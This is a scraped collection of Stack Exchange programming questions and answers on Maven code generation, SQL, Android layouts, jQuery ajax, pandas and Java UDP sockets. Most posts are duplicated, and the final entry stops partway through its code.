问:
Generating source with maven-hibernate3 plugin

Besides generating other source files, I want to generate one factory class for DAO classes - DAOFactory.java. I'm using hbmtemplate for that purpose - with my own *.ftl file.
Problem is that (as I understand correctly) file is generated for each entity in database. Is it possible to generate that file only once?

Part of my pom.xml:

```<code><execution>
  <id>hbmtemplate0</id>
  <phase>generate-sources</phase>
  <goals>
   <goal>hbmtemplate</goal>
  </goals>
  <configuration>
   <components>
    <component>
     <name>hbmtemplate</name>
     <outputDirectory>src/main/java</outputDirectory>
    </component>
   </components>
   <componentProperties>
    <revengfile>/src/main/resources/hibernate.reveng.xml</revengfile>
    <propertyfile>src/main/resources/database.properties</propertyfile>
    <jdk5>false</jdk5>
    <ejb3>false</ejb3>
    <packagename>my.package.name</packagename>
    <format>true</format>
    <haltonerror>true</haltonerror>
    <templatepath>src/main/resources/reveng.templates/</templatepath>
    <filepattern>DAOFactory.java</filepattern>
    <template>DAOFactory.java.ftl</template>
   </componentProperties>
  </configuration>
</execution>
</code>```

答:
a) generated code should usually not go in src/main/java!!!! Use target/generated-sources/somefoldername (or rather: ${project.build.directory}/generated-sources/somefoldername) instead! Otherwise your generated code will end up in your SCM and that's when things get messy. As a rule of thumb: everything you edit is in src, everything maven creates or edits is in target.

If the hibernate tools don't automatically add the generated source dir to the compiler's source roots, you can do that with the buildhelper-maven-plugin:

```<code><plugin>
    <groupId>org.codehaus.mojo</groupId>
    <artifactId>build-helper-maven-plugin</artifactId>
    <version>1.5</version>
    <executions>
         <execution>
            <id>add-source</id>
            <phase>process-sources</phase>
            <goals>
                <goal>add-source</goal>
            </goals>
            <configuration>
                <sources>
                    <source>
${project.build.directory}/generated-sources/somefoldername
                    </source>
              </sources>
            </configuration>
        </execution>
    </executions>
</plugin>
</code>```

b) It appears that you can not restrict it to a single class. So one thing you could do is to delete the generated java files you don't need. The standard way to do things like that is to use the antrun plugin:

```<code><plugin>
  <artifactId>maven-antrun-plugin</artifactId>
  <version>1.6</version>
  <executions>
    <execution>
      <phase>process-sources</phase>
      <configuration>
        <target>
          <delete>
            <fileset
              dir="${project.build.directory}/generated-sources/somefoldername"
              includes="**/*.java" excludes="**/ClassYouWantToKeep.java" />
          </delete>
        </target>
      </configuration>
      <goals>
        <goal>run</goal>
      </goals>
    </execution>
  </executions>
</plugin>
</code>```

Body:
Besides generating other source files, I want to generate one factory class for DAO classes - DAOFactory.java. I'm using hbmtemplate for that purpose - with my own *.ftl file.
Problem is that (as I understand correctly) file is generated for each entity in database. Is it possible to generate that file only once?

Part of my pom.xml:

<execution>
  <id>hbmtemplate0</id>
  <phase>generate-sources</phase>
  <goals>
   <goal>hbmtemplate</goal>
  </goals>
  <configuration>
   <components>
    <component>
     <name>hbmtemplate</name>
     <outputDirectory>src/main/java</outputDirectory>
    </component>
   </components>
   <componentProperties>
    <revengfile>/src/main/resources/hibernate.reveng.xml</revengfile>
    <propertyfile>src/main/resources/database.properties</propertyfile>
    <jdk5>false</jdk5>
    <ejb3>false</ejb3>
    <packagename>my.package.name</packagename>
    <format>true</format>
    <haltonerror>true</haltonerror>
    <templatepath>src/main/resources/reveng.templates/</templatepath>
    <filepattern>DAOFactory.java</filepattern>
    <template>DAOFactory.java.ftl</template>
   </componentProperties>
  </configuration>
</execution>

Body:
a) generated code should usually not go in src/main/java!!!! Use target/generated-sources/somefoldername (or rather: ${project.build.directory}/generated-sources/somefoldername) instead! Otherwise your generated code will end up in your SCM and that's when things get messy. As a rule of thumb: everything you edit is in src, everything maven creates or edits is in target.

If the hibernate tools don't automatically add the generated source dir to the compiler's source roots, you can do that with the buildhelper-maven-plugin:

<plugin>
    <groupId>org.codehaus.mojo</groupId>
    <artifactId>build-helper-maven-plugin</artifactId>
    <version>1.5</version>
    <executions>
         <execution>
            <id>add-source</id>
            <phase>process-sources</phase>
            <goals>
                <goal>add-source</goal>
            </goals>
            <configuration>
                <sources>
                    <source>
${project.build.directory}/generated-sources/somefoldername
                    </source>
              </sources>
            </configuration>
        </execution>
    </executions>
</plugin>

b) It appears that you can not restrict it to a single class. So one thing you could do is to delete the generated java files you don't need. The standard way to do things like that is to use the antrun plugin:

<plugin>
  <artifactId>maven-antrun-plugin</artifactId>
  <version>1.6</version>
  <executions>
    <execution>
      <phase>process-sources</phase>
      <configuration>
        <target>
          <delete>
            <fileset
              dir="${project.build.directory}/generated-sources/somefoldername"
              includes="**/*.java" excludes="**/ClassYouWantToKeep.java" />
          </delete>
        </target>
      </configuration>
      <goals>
        <goal>run</goal>
      </goals>
    </execution>
  </executions>
</plugin>


来源: stackexchange

问:
how to map ERD where one of the relation is relationship between other entities?

In this image, we can see there is a 1:M relationship between subject and relationship between student and class. I am not understanding how to map 1:M relationship. Can someone please help. Thanks in advance.

答:
Your diagram seems to indicate that a class is attended by only one student, and a subject is studied by only one student. Is that right?

Anyway, Attends will probably be implemented like so:

```<code>Attends (Student_ID PK/FK, Class_ID FK)
</code>```

If it's really a one-to-one relationship then you can add a separate unique constraint on Class_ID.

Studies will be identified by the keys of its entity sets with plural cardinality indicators:

```<code>Studies (Subject_ID PK/FK, Student_ID FK)
</code>```

or if it's actually a many-to-many relationship as I suspect:

```<code>Studies (Subject_ID PK/FK, Student_ID PK/FK)
</code>```

ContentLicense: CC BY-SA 3.0

Body:
Your diagram seems to indicate that a class is attended by only one student, and a subject is studied by only one student. Is that right?

Anyway, Attends will probably be implemented like so:

Attends (Student_ID PK/FK, Class_ID FK)

If it's really a one-to-one relationship then you can add a separate unique constraint on Class_ID.

Studies will be identified by the keys of its entity sets with plural cardinality indicators:

Studies (Subject_ID PK/FK, Student_ID FK)

or if it's actually a many-to-many relationship as I suspect:

Studies (Subject_ID PK/FK, Student_ID PK/FK)


问:
how to detect fake mobile traffic without use user agent in PHP?
Can anyone tell me how to detect fake mobile traffic?

I was detecting device type (mobile or not mobile device)
by analyzing User Agent value in header from $_SERVER['HTTP_USER_AGENT'] in PHP.

But I know now that exists an User Agent Switcher.

答:
You can check the device used by the user by using $_SERVER["HTTP_USER_AGENT"],
with this you can check site is visited by BOT or any other device,
https://templatebench.com/detect-device-type-in-php/
Here you can check all tutorial to get device type of the user</p>


问:
Find row values based on if a parameter has been set
I have a stored procedure with 2 parameters: @Name and @Surname which have to be set by an external source.

I need the stored procedure to return values based on what parameter has been set. It should "ignore" null parameters and only take set parameters into account.

```<code>SELECT *
FROM ParticipantNames
WHERE --  The if below should go here...

if(@Name iS NOT NULL) - find the row whose [NAME] column LIKE @Name else skip name comparison.
if(@Surname iS NOT NULL) - find the row whose [SURNAME] column LIKE @Surname else skip surname comparison.
if(@Name AND @Surname is NOT NULL) - find the row whose [NAME] column LIKE @Name AND whose [SURNAME] column LIKE @Surname
</code>```

The following works if all the parameters have been set but return 0 rows when one parameter has not been set.

```<code>;WITH tempSearch AS
(
    SELECT *
    FROM ParticipantNames f
    WHERE ((f.Name LIKE CASE WHEN @Name IS NULL THEN NULL ELSE @Name END)
      AND (f.Surname LIKE CASE WHEN @Surname IS NULL THEN NULL ELSE @Surname END)
...
</code>```

I know it returns 0 rows because of the AND clause, but I don't know how to fix it.

Any advice on how to achieve this?

答:
It seems you are trying to use a 'default' pattern on your queries.

The problem here is that you are projecting NULL out of the CASE WHEN, which then leads to WHERE Column LIKE NULL, which won't work.

What you can do is subtitute the actual column back in, like this:

```<code>SELECT *
FROM ParticipantNames f
WHERE ((f.Name LIKE CASE WHEN @Name IS NULL THEN Name ELSE @Name END)
  AND (f.Surname LIKE CASE WHEN @Surname IS NULL THEN Surname ELSE @Surname END)
</code>```

This leads to WHERE Column LIKE Column in the default case, which will work.

Note however that queries like these are hard on the query optimizer, given the conditional use of a predicate. There are several similar discussions on how best to approach the application of 'optional parameters'.

Body:
I have a stored procedure with 2 parameters: @Name and @Surname which have to be set by an external source.

I need the stored procedure to return values based on what parameter has been set. It should "ignore" null parameters and only take set parameters into account.

SELECT *
FROM ParticipantNames
WHERE --  The if below should go here...

if(@Name iS NOT NULL) - find the row whose [NAME] column LIKE @Name else skip name comparison.
if(@Surname iS NOT NULL) - find the row whose [SURNAME] column LIKE @Surname else skip surname comparison.
if(@Name AND @Surname is NOT NULL) - find the row whose [NAME] column LIKE @Name AND whose [SURNAME] column LIKE @Surname

The following works if all the parameters have been set but return 0 rows when one parameter has not been set.

;WITH tempSearch AS
(
    SELECT *
    FROM ParticipantNames f
    WHERE ((f.Name LIKE CASE WHEN @Name IS NULL THEN NULL ELSE @Name END)
      AND (f.Surname LIKE CASE WHEN @Surname IS NULL THEN NULL ELSE @Surname END)
...

I know it returns 0 rows because of the AND clause, but I don't know how to fix it.

Any advice on how to achieve this?

Body:
It seems you are trying to use a 'default' pattern on your queries.

The problem here is that you are projecting NULL out of the CASE WHEN, which then leads to WHERE Column LIKE NULL, which won't work.

What you can do is subtitute the actual column back in, like this:

SELECT *
FROM ParticipantNames f
WHERE ((f.Name LIKE CASE WHEN @Name IS NULL THEN Name ELSE @Name END)
  AND (f.Surname LIKE CASE WHEN @Surname IS NULL THEN Surname ELSE @Surname END)

This leads to WHERE Column LIKE Column in the default case, which will work.

Note however that queries like these are hard on the query optimizer, given the conditional use of a predicate. There are several similar discussions on how best to approach the application of 'optional parameters'.


问:
Scrollview getting blocked by linear layout
I have a design like this :
XMLFile1.xml

```<code><RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/option_view"
android:layout_width="fill_parent"
android:layout_height="fill_parent">

  <ScrollView
    android:name="question_paper_scrollView"
    android:layout_width="match_parent"
    android:layout_height="fill_parent"
    android:fillViewport="true">

    <FrameLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/fragment_container"
    android:layout_width="match_parent"
    android:layout_height="match_parent"/>
  </ScrollView>
</RelativeLayout>
</code>```

XMLFile2.xml

```<code><RelativeLayout
 xmlns:android="http://schemas.android.com/apk/res/android"
 xmlns:app="http://schemas.android.com/apk/res-auto"
 xmlns:tools="http://schemas.android.com/tools"
 android:layout_width="fill_parent"
 android:layout_height="match_parent">
  <include layout=XMLFile1.xml>
  <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="match_parent"
    android:layout_alignParentLeft="true"
    android:layout_alignParentStart="true"
    android:gravity="center|bottom"
    android:weightSum="4"/>
 </RelativeLayout>
</code>```

I have set the android:fillViewport="true" in ScrollView according to this and also set the minimumHeight() of the FrameLayout as per this. FrameLayout holds the quiz questions and they need to be scrollable and the LinearLayout consists of set of buttons like next, previous and clear. I learnt from this LinearLayout can hide the ScrollView but I can see the ScrollBar. What is the correct way to achieve : Scrollable questions with given design?
PS: I am constrained to use LinearLayout because I want set of buttons at the bottom of the screen and to use FrameLayout because I am loading the quiz questions dynamically from the database.

SOLUTION: COMBINATION OF BOTH THE ANSWERS. USE wrap_content in all the layouts and user layout_below attribute in linear layout

答: Try this, in both xml file take all layout and view's height wrap_content instead of fill_parent or match_parent.</p>

Body:
I have a design like this :
XMLFile1.xml

<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/option_view"
android:layout_width="fill_parent"
android:layout_height="fill_parent">

  <ScrollView
    android:name="question_paper_scrollView"
    android:layout_width="match_parent"
    android:layout_height="fill_parent"
    android:fillViewport="true">

    <FrameLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/fragment_container"
    android:layout_width="match_parent"
    android:layout_height="match_parent"/>
  </ScrollView>
</RelativeLayout>

XMLFile2.xml

<RelativeLayout
 xmlns:android="http://schemas.android.com/apk/res/android"
 xmlns:app="http://schemas.android.com/apk/res-auto"
 xmlns:tools="http://schemas.android.com/tools"
 android:layout_width="fill_parent"
 android:layout_height="match_parent">
  <include layout=XMLFile1.xml>
  <LinearLayout
    android:layout_width="fill_parent"
    android:layout_height="match_parent"
    android:layout_alignParentLeft="true"
    android:layout_alignParentStart="true"
    android:gravity="center|bottom"
    android:weightSum="4"/>
 </RelativeLayout>

I have set the android:fillViewport="true" in ScrollView according to this and also set the minimumHeight() of the FrameLayout as per this. FrameLayout holds the quiz questions and they need to be scrollable and the LinearLayout consists of set of buttons like next, previous and clear. I learnt from this LinearLayout can hide the ScrollView but I can see the ScrollBar. What is the correct way to achieve : Scrollable questions with given design?
PS: I am constrained to use LinearLayout because I want set of buttons at the bottom of the screen and to use FrameLayout because I am loading the quiz questions dynamically from the database.

SOLUTION: COMBINATION OF BOTH THE ANSWERS. USE wrap_content in all the layouts and user layout_below attribute in linear layout


问:
I have 2 functions in my Javascript.One has multiple ajax calls to get the data and other displays the data.The functions are not executed in sequence
```<code>Sample Code

$( document ).ready(function() {
    getData();
    LoadData();
});

function getData() {
        alert('getData');
        Data='';
        $.ajax({
            type: "GET",
            url: "http://localhost:34126/SAL/FCDataService.svc/GetMonthlyInvValue",
            dataType: "json",
            contentType: "application/json; charset=utf-8",
            data: {},
            processdata: true,
            async: false,
            success: function (json) {
                Data= json;
               alert('Data:' + Data);
            },
            error: function (e) {
                alert('error ' + e.status + '  ' + e.responseText);
            }
        });

}

function LoadData() {
        alert('LoadData');

    }
</code>```

The expected Output:
getData
Data:{"label": "Jan", "Value": "1"}
LoadData

The actual Output :
getData
LoadData
Data:{"label": "Jan", "Value": "1"}

What am I doing wrong.Please help me!!

答:
Inside success function call the LoadData() function</p>

```<code>success: function (json) {
    Data= json;
    alert('Data:' + stackMonthData);
    LoadData();
},
</code>```

Body:
Sample Code

$( document ).ready(function() {
    getData();
    LoadData();
});

function getData() {
        alert('getData');
        Data='';
        $.ajax({
            type: "GET",
            url: "http://localhost:34126/SAL/FCDataService.svc/GetMonthlyInvValue",
            dataType: "json",
            contentType: "application/json; charset=utf-8",
            data: {},
            processdata: true,
            async: false,
            success: function (json) {
                Data= json;
               alert('Data:' + Data);
            },
            error: function (e) {
                alert('error ' + e.status + '  ' + e.responseText);
            }
        });

}

function LoadData() {
        alert('LoadData');

    }

The expected Output:
getData
Data:{"label": "Jan", "Value": "1"}
LoadData

The actual Output :
getData
LoadData
Data:{"label": "Jan", "Value": "1"}

What am I doing wrong.Please help me!!

Body:
Inside success function call the LoadData() function

success: function (json) {
    Data= json;
    alert('Data:' + stackMonthData);
    LoadData();
},


问:
Offline navigation software for Android - what is out there?
Im looking for navigation software for the Android platform and I have a few requirements:

Offline maps. The maps should be stored on the device/memory card so no Internet-connection is required

There should be some way to interact with the application "through code"; sending route requests, getting current location perhaps, bringing app to foreground/background, etc. An API  so it can be controlled from another application.

No monthly fees

The only one I found so far to match the above is Sygic Navigation. However, I havent yet been able to communication with the app even though they say that it can be done. Still investigating that...

答:
i think Mapdroyd is not free.
in case of OsmAnd only map can be offline but navigation requires internet connection.

Navit is truely offline and free navigation engine, but work in progress on GUI. Not easy to search addresses.

ContentLicense: CC BY-SA 2.5


问:
calculate the mean of one row according it's label
calculate the mean of the values in one row according it's label:

```<code>A = [1,2,3,4,5,6,7,8,9,10]
B = [0,0,0,0,0,1,1,1,1, 1]

Result = pd.DataFrame(data=[A, B])
</code>```

I want the output is: 0->3; 1-> 7.8

pandas has the groupby function, but I don't know how to implement this. Thanks

答:
You're making it difficult on yourself by constructing the dataframe in such a way as to put the things you want to take the mean of and the things you want to be your labels as different rows.

Option 1

groubpy

This deals with the data presented in the dataframe Result

```<code>Result.loc[0].groupby(Result.loc[1]).mean()

1
0    3
1    8
Name: 0, dtype: int64
</code>```

Option 2

Overkill using np.bincount and because your grouping values are 0 and 1.  I'd have a solution even if they weren't but it makes it simpler.

I wanted to use the raw lists A and B

```<code>pd.Series(np.bincount(B, A) / np.bincount(B))

0    3.0
1    8.0
dtype: float64
</code>```

Option 3

Construct a series instead of a dataframe.

Again using raw lists A and B

```<code>pd.Series(A, B).mean(level=0)

0    3
1    8
dtype: int64
</code>```

Body:
calculate the mean of the values in one row according it's label:

A = [1,2,3,4,5,6,7,8,9,10]
B = [0,0,0,0,0,1,1,1,1, 1]

Result = pd.DataFrame(data=[A, B])

I want the output is: 0->3; 1-> 7.8

pandas has the groupby function, but I don't know how to implement this. Thanks

Body:
You're making it difficult on yourself by constructing the dataframe in such a way as to put the things you want to take the mean of and the things you want to be your labels as different rows.

Option 1

groubpy

This deals with the data presented in the dataframe Result

Result.loc[0].groupby(Result.loc[1]).mean()

1
0    3
1    8
Name: 0, dtype: int64

Option 2

Overkill using np.bincount and because your grouping values are 0 and 1.  I'd have a solution even if they weren't but it makes it simpler.

I wanted to use the raw lists A and B

pd.Series(np.bincount(B, A) / np.bincount(B))

0    3.0
1    8.0
dtype: float64

Option 3

Construct a series instead of a dataframe.

Again using raw lists A and B

pd.Series(A, B).mean(level=0)

0    3
1    8
dtype: int64


问:
Make UDPServer send to UDPClient
I'm trying to send data to the client but I have not figured out
This is my code.

UDP-Client:

```<code>BufferedReader input = new BufferedReader(new InputStreamReader(System.in));

DatagramSocket datagramSocket = new DatagramSocket( );
InetAddress ipServer = InetAddress.getByName("localhost");

byte[] sendDatagram = new byte[1054];
byte[] sendDatagramB = new byte[1055];
byte[] sendDatagramC = new byte[1056];

byte[] receiveDatagram = new byte[1054];
byte[] receiveDatagramB = new byte[1055];
byte[] receiveDatagramC = new byte[1056];
while  (true) {
    System.out.println("Ingrese X");
    String msgA = input.readLine();
    System.out.println("Ingrese B");
    String msgB = input.readLine();
    System.out.println("Ingrese C");
    String msgC = input.readLine();

    sendDatagram = (msgA.getBytes());
    DatagramPacket sendPacket = new DatagramPacket(sendDatagram, sendDatagram.length, ipServer, 6667);
    datagramSocket.send(sendPacket);

    sendDatagramB = (msgB.getBytes());
    DatagramPacket sendPacketB = new DatagramPacket(sendDatagramB, sendDatagramB.length, ipServer, 6667);
    datagramSocket.send(sendPacketB);

    sendDatagramC = (msgC.getBytes());
    DatagramPacket sendPacketC = new DatagramPacket(sendDatagramC, sendDatagramC.length, ipServer, 6667);
    datagramSocket.send(sendPacketC);
}
</code>```

UDP-Server:

```<code>BufferedReader input = new BufferedReader(new InputStreamReader(System.in));

DatagramSocket datagramSockets = new DatagramSocket( );
InetAddress ipServer = InetAddress.getByName("localhost");

byte[] sendDatagrams = new byte[1054];
byte[] receiveDatagrams = new byte[1054];

DatagramSocket datagramSocket = new DatagramSocket(6667);
byte[] sendDatagram = new byte[1054];
byte[] receiveDatagram = new byte[1054];

byte[] sendDatagramB = new byte[1055];
byte[] receiveDatagramB = new byte[1055];

byte[] sendDatagramC = new byte[1056];
byte[] receiveDatagramC = new byte[1056];

System.out.println("Server Start");

while (true){

    DatagramPacket receivePacket = new DatagramPacket(receiveDatagram,receiveDatagram.length);
    datagramSocket.receive(receivePacket);
    String receive = new String(receivePacket.getData());
    System.out.println(receive+"x");

    InetAddress ipClient = receivePacket.getAddress();
    int portClient = receivePacket.getPort();
    receiveDatagram = new byte[1054];
    String msgClient = "Hola Mundo";

    DatagramPacket receivePacketB = new DatagramPacket(receiveDatagramB,receiveDatagramB.length);
    datagramSocket.receive(receivePacketB);
    String receiveB = new String(receivePacketB.getData());
    System.out.println(receiveB+"y");

    InetAddress ipClientB = receivePacketB.getAddress();
    int portClientB = receivePacketB.getPort();
    receiveDatagramB = new byte[1055];
    String msgClientB = "Hola Mundo";

    DatagramPacket receivePacketC = new DatagramPacket(receiveDatagramC,receiveDatagramB.length);
    datagramSocket.receive(receivePacketC);
    String receiveC = new String(receivePacketC.getData());
    System.out.println(receiveC+"z");

    InetAddress ipClientC = receivePacketC.getAddress();
    int portClientC = receivePacketC.getPort();
    receiveDatagramC = new byte[1056];
    String msgClientC = "Hola Mundo";

    Double x1 =  (-portClientB - (Math.sqrt((portClient*portClientB - ((4*portClient*portClientC))))))/ (2 * portClientC);
    Double x2 =  (-portClientB + (Math.sqrt((portClient*portClientB - ((4*portClient*portClientC))))))/ (2 * portClientC);

    String xa = String.valueOf(x1);
    String xb = String.valueOf(x2);
    System.out.println("El Resultado de x1 es = "+" "+x1);
    System.out.println("El Resultado de x1 es = "+" "+x2);
}
</code>```

I suppose to send String XA and XB to the client.

答:
I don't know what you are really doing with udp socket but generally a server must support all the requests including a protocol from clients.

This is what my udp socket server looks like from your source as follows:

```<code>package justtest;

import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

public class UDPServer {
    public static void main(String[] args) throws IOException {
        DatagramSocket datagramSocket = new DatagramSocket(6667);
        byte[] sendDatagram = new byte[1054];
        byte[] receiveDatagram = new byte[1054];

        System.out.println("Server Start");
        try
        {
            while (true)
            {

                DatagramPacket receivePacket = new DatagramPacket(receiveDatagram, receiveDatagram.length);
                datagramSocket.receive(receivePacket);
                //System.out.println("len" + receivePacket.getLength());
                String receive = new String(receivePacket.getData());
                System.out.println(receive.trim() + " received...");

                //////// Do it what you want here //////////
                //////// done //////////////////////////////

                InetAddress IPAddress = receivePacket.getAddress();
                int port = receivePacket.getPort();

                String msgClient = "Hola Mundo";

                System.arraycopy(msgClient.getBytes(), 0, sendDatagram, 0, msgClient.getBytes().length);
                DatagramPacket sendPacket = new DatagramPacket(sendDatagram, sendDatagram.length, IPAddress, port);
                datagramSocket.send(sendPacket);

            }
        }
        finally
        {
            datagramSocket.close();
        }
    }
}
</code>```

Then, the udp client can do what you are supposed to do.

```<code>package justtest;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

public class UDPClient {
    public static void main(String[] args) throws IOException {
        BufferedReader input = new BufferedReader(new InputStreamReader(System.in));
        InetAddress ipServer = InetAddress.getByName("localhost");
        DatagramSocket datagramSocket = null;
        DatagramSocket datagramSocketA = null;
        DatagramSocket datagramSocketB = null;
        byte[] sendDatagram = new byte[1054];
        byte[] sendDatagramB = new byte[1055];
        byte[] sendDatagramC = new byte[1056];

        byte[] receiveDatagram = new byte[1054];
        byte[] receiveDatagramB = new byte[1055];
        byte[] receiveDatagramC = new byte[1056];

        while (true)
        {
            System.out.println();
            System.out.println("Ingrese X");
            String msgA = input.readLine();

            //sendDatagram = (msgA.getBytes());
            System.arraycopy(msgA.getBytes(), 0, sendDatagram, 0, msgA.getBytes().length);
            DatagramPacket sendPacket = new DatagramPacket(sendDatagram, sendDatagram.length, ipServer, 6667);
            DatagramPacket recvPacket = new DatagramPacket(sendDatagram, receiveDatagram.length, ipServer, 6667);

            datagramSocket = new DatagramSocket();
            datagramSocket.send(sendPacket);
            datagramSocket.receive(recvPacket);
            System.out.printf("Send...[%s]/ recv...[%s]", new String(sendDatagram).trim(), new String(recvPacket.getData()).trim());

            System.out.println();
            System.out.println("Ingrese B");
            String msgB = input.readLine();
            //sendDatagramB = (msgB.getBytes());
            System.arraycopy(msgB.getBytes(), 0, sendDatagramB, 0, msgB.getBytes().length);
            DatagramPacket sendPacketB = new DatagramPacket(sendDatagramB, sendDatagramB.length, ipServer, 6667);
            DatagramPacket recvPacketB = new DatagramPacket(receiveDatagramB, receiveDatagramB.length, ipServer, 6667);

            datagramSocketA = new DatagramSocket();
            datagramSocketA.send(sendPacketB);
            datagramSocketA.receive(recvPacketB);
            System.out.printf("Send...[%s]/ recv...[%s]", new String(sendDatagramB).trim(), new String(recvPacketB.getData()).trim());

            System.out.println();
            System.out.println("Ingrese C");

            String msgC = input.readLine();
            //sendDatagramC = (msgC.getBytes());
            System.arraycopy(msgC.getBytes(), 0, sendDatagramC, 0, msgC.getBytes().length);
            DatagramPacket sendPacketC = new DatagramPacket(sendDatagramC, sendDatagramC.length, ipServer, 6667);
            DatagramPacket recvPacketC = new DatagramPacket(receiveDatagramC, receiveDatagramC.length, ipServer, 6667);
            datagramSocketB = new DatagramSocket();
            datagramSocketB.send(sendPacketC);
            datagramSocketB.receive(recvPacketC);
            System.out.printf("Send...[%s]/ recv...[%s]", new String(sendDatagramC).trim(), new String(recvPacketC.getData()).trim());

            datagramSocket.close();
            datagramSocketA.close();
            datagramSocketB.close();
        }
    }
}
</code>```

I think it is important what you will exactly do with the code.

Good luck.

ContentLicense: CC BY-SA 4.0

Title: Make UDPServer send to UDPClient

Body:
I'm trying to send data to the client but I have not figured out
This is my code.

UDP-Client:

BufferedReader input = new BufferedReader(new InputStreamReader(System.in));

DatagramSocket datagramSocket = new DatagramSocket( );
InetAddress ipServer = InetAddress.getByName("localhost");

byte[] sendDatagram = new byte[1054];
byte[] sendDatagramB = new byte[1055];
byte[] sendDatagramC = new byte[1056];

byte[] receiveDatagram = new byte[1054];
byte[] receiveDatagramB = new byte[1055];
byte[] receiveDatagramC = new byte[1056];
while  (true) {
    System.out.println("Ingrese X");
    String msgA = input.readLine();
    System.out.println("Ingrese B");
    String msgB = input.readLine();
    System.out.println("Ingrese C");
    String msgC = input.readLine();

    sendDatagram = (msgA.getBytes());
    DatagramPacket sendPacket = new DatagramPacket(sendDatagram, sendDatagram.length, ipServer, 6667);
    datagramSocket.send(sendPacket);

    sendDatagramB = (msgB.getBytes());
    DatagramPacket sendPacketB = new DatagramPacket(sendDatagramB, sendDatagramB.length, ipServer, 6667);
    datagramSocket.send(sendPacketB);

    sendDatagramC = (msgC.getBytes());
    DatagramPacket sendPacketC = new DatagramPacket(sendDatagramC, sendDatagramC.length, ipServer, 6667);
    datagramSocket.send(sendPacketC);
}

UDP-Server:

BufferedReader input = new BufferedReader(new InputStreamReader(System.in));

DatagramSocket datagramSockets = new DatagramSocket( );
InetAddress ipServer = InetAddress.getByName("localhost");

byte[] sendDatagrams = new byte[1054];
byte[] receiveDatagrams = new byte[1054];

DatagramSocket datagramSocket = new DatagramSocket(6667);
byte[] sendDatagram = new byte[1054];
byte[] receiveDatagram = new byte[1054];

byte[] sendDatagramB = new byte[1055];
byte[] receiveDatagramB = new byte[1055];

byte[] sendDatagramC = new byte[1056];
byte[] receiveDatagramC = new byte[1056];

System.out.println("Server Start");

while (true){

    DatagramPacket receivePacket = new DatagramPacket(receiveDatagram,receiveDatagram.length);
    datagramSocket.receive(receivePacket);
    String receive = new String(receivePacket.getData());
    System.out.println(receive+"x");

    InetAddress ipClient = receivePacket.getAddress();
    int portClient = receivePacket.getPort();
    receiveDatagram = new byte[1054];
    String msgClient = "Hola Mundo";

    DatagramPacket receivePacketB = new DatagramPacket(receiveDatagramB,receiveDatagramB.length);
    datagramSocket.receive(receivePacketB);
    String receiveB = new String(receivePacketB.getData());
    System.out.println(receiveB+"y");

    InetAddress ipClientB = receivePacketB.getAddress();
    int portClientB = receivePacketB.getPort();
    receiveDatagramB = new byte[1055];
    String msgClientB = "Hola Mundo";

    DatagramPacket receivePacketC = new DatagramPacket(receiveDatagramC,receiveDatagramB.length);
    datagramSocket.receive(receivePacketC);
    String receiveC = new String(receivePacketC.getData());
    System.out.println(receiveC+"z");

    InetAddress ipClientC = receivePacketC.getAddress();
    int portClientC = receivePacketC.getPort();
    receiveDatagramC = new byte[1056];
    String msgClientC = "Hola Mundo";

    Double x1 =  (-portClientB - (Math.sqrt((portClient*portClientB - ((4*portClient*portClientC))))))/ (2 * portClientC);
    Double x2 =  (-portClientB + (Math.sqrt((portClient*portClientB - ((4*portClient*portClientC))))))/ (2 * portClientC);

    String xa = String.valueOf(x1);
    String xb = String.valueOf(x2);
    System.out.println("El Resultado de x1 es = "+" "+x1);
    System.out.println("El Resultado de x1 es = "+" "+x2);
}

I suppose to send String XA and XB to the client.

Body:
I don't know what you are really doing with udp socket but generally a server must support all the requests including a protocol from clients.

This is what my udp socket server looks like from your source as follows:

package justtest;

import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

public class UDPServer {
    public static void main(String[] args) throws IOException {
        DatagramSocket datagramSocket = new DatagramSocket(6667);
        byte[] sendDatagram = new byte[1054];
        byte[] receiveDatagram = new byte[1054];

        System.out.println("Server Start");
        try
        {
            while (true)
            {

                DatagramPacket receivePacket = new DatagramPacket(receiveDatagram, receiveDatagram.length);
                datagramSocket.receive(receivePacket);
                //System.out.println("len" + receivePacket.getLength());
                String receive = new String(receivePacket.getData());
                System.out.println(receive.trim() + " received...");

                //////// Do it what you want here //////////
                //////// done //////////////////////////////

                InetAddress IPAddress = receivePacket.getAddress();
                int port = receivePacket.getPort();

                String msgClient = "Hola Mundo";

                System.arraycopy(msgClient.getBytes(), 0, sendDatagram, 0, msgClient.getBytes().length);
                DatagramPacket sendPacket = new DatagramPacket(sendDatagram, sendDatagram.length, IPAddress, port);
                datagramSocket.send(sendPacket);

            }
        }
        finally
        {
            datagramSocket.close();
        }
    }
}

Then, the udp client can do what you are supposed to do.

package justtest;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

public class UDPClient {
    public static void main(String[] args) throws IOException {
        BufferedReader input = new BufferedReader(new InputStreamReader(System.in));
        InetAddress ipServer = InetAddress.getByName("localhost");
        DatagramSocket datagramSocket = null;
        DatagramSocket datagramSocketA = null;
        DatagramSocket datagramSocketB = null;
        byte[] sendDatagram = new byte[1054];
        byte[] sendDatagramB = new byte[1055];
        byte[] sendDatagramC = new byte[1056];

        byte[] receiveDatagram = new byte[1054];
        byte[] receiveDatagramB = new byte[1055];
        byte[] receiveDatagramC = new byte[1056];

        while (true)
        {
            System.out.println();
            System.out.println("Ingrese X");
            String msgA = input.readLine();

            //sendDatagram = (msgA.getBytes());
            System.arraycopy(msgA.getBytes(), 0, sendDatagram, 0, msgA.getBytes().length);
            DatagramPacket sendPacket = new DatagramPacket(sendDatagram, sendDatagram.length, ipServer, 6667);
            DatagramPacket recvPacket = new DatagramPacket(sendDatagram, receiveDatagram.length, ipServer, 6667);

            datagramSocket = new DatagramSocket();
            datagramSocket.send(sendPacket);
